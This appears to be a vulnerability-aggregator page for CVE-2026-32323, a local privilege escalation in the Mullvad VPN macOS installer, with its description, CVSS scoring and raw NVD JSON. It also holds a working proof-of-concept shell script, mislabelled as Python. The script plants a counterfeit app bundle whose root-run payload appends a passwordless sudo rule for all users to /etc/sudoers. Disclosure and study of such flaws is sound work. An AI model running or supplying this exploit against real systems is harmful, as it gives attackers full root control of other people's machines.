Security Vulnerability Report
中文
CVE-2026-32323 CVSS 7.3 HIGH

CVE-2026-32323

Published: 2026-05-19 02:16:14
Last Modified: 2026-05-19 15:03:31

Description

Mullvad VPN is a VPN client app for desktop and mobile. When using macOS with versions 2026.1 and below, Mullvad VPN may allow local privilege escalation during installation or upgrade. The installer package executes binaries from /Applications/Mullvad VPN.app without verifying if the bundle is attacker-controlled or that the path is the legitimate Mullvad application. A user in the admin group can pre-place a crafted application bundle at that location and may be able to achieve code execution as root. Since the issue only affected the installer, there is no immediate need for users to update if they are already running an older version. This issue has been fixed in version 2026.2-beta1.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Mullvad VPN <= 2026.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # PoC for CVE-2026-32323: Mullvad VPN Local Privilege Escalation # Description: Create a malicious app bundle at the target location. # When the installer runs, it executes the malicious payload as root. TARGET_APP="/Applications/Mullvad VPN.app" MALICIOUS_BINARY="/tmp/malicious_payload" # Check if the target path already exists if [ -d "$TARGET_APP" ]; then echo "[+] Target path already exists. Aborting to avoid accidental overwrite." exit 1 fi echo "[*] Creating malicious directory structure..." mkdir -p "$TARGET_APP/Contents/MacOS" # Create a simple malicious binary (e.g., a reverse shell or just adding a root user) cat > "$MALICIOUS_BINARY" << 'EOF' #!/bin/bash # This script runs as root due to the installer's privileges echo "ALL ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers touch /tmp/pwned_by_cve_2026_32323 EOF chmod +x "$MALICIOUS_BINARY" cp "$MALICIOUS_BINARY" "$TARGET_APP/Contents/MacOS/mullvad-daemon" # Create a minimal Info.plist to make it look like an app bundle cat > "$TARGET_APP/Contents/Info.plist" << 'EOF' <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>CFBundleExecutable</key> <string>mullvad-daemon</string> </dict> </plist> EOF echo "[+] Malicious bundle created at $TARGET_APP" echo "[+] Wait for an admin to install or update Mullvad VPN to trigger the exploit."

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32323", "sourceIdentifier": "[email protected]", "published": "2026-05-19T02:16:14.367", "lastModified": "2026-05-19T15:03:31.370", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mullvad VPN is a VPN client app for desktop and mobile. When using macOS with versions 2026.1 and below, Mullvad VPN may allow local privilege escalation during installation or upgrade. The installer package executes binaries from /Applications/Mullvad VPN.app without verifying if the bundle is attacker-controlled or that the path is the legitimate Mullvad application. A user in the admin group can pre-place a crafted application bundle at that location and may be able to achieve code execution as root. Since the issue only affected the installer, there is no immediate need for users to update if they are already running an older version. This issue has been fixed in version 2026.2-beta1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.3, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-269"}, {"lang": "en", "value": "CWE-345"}, {"lang": "en", "value": "CWE-427"}]}], "references": [{"url": "https://github.com/mullvad/mullvadvpn-app/commit/032fdcb927c0b6d3e5e1aba4140d33adf22a6bfb", "source": "[email protected]"}, {"url": "https://github.com/mullvad/mullvadvpn-app/security/advisories/GHSA-c2g6-w5fq-vw3m", "source": "[email protected]"}]}}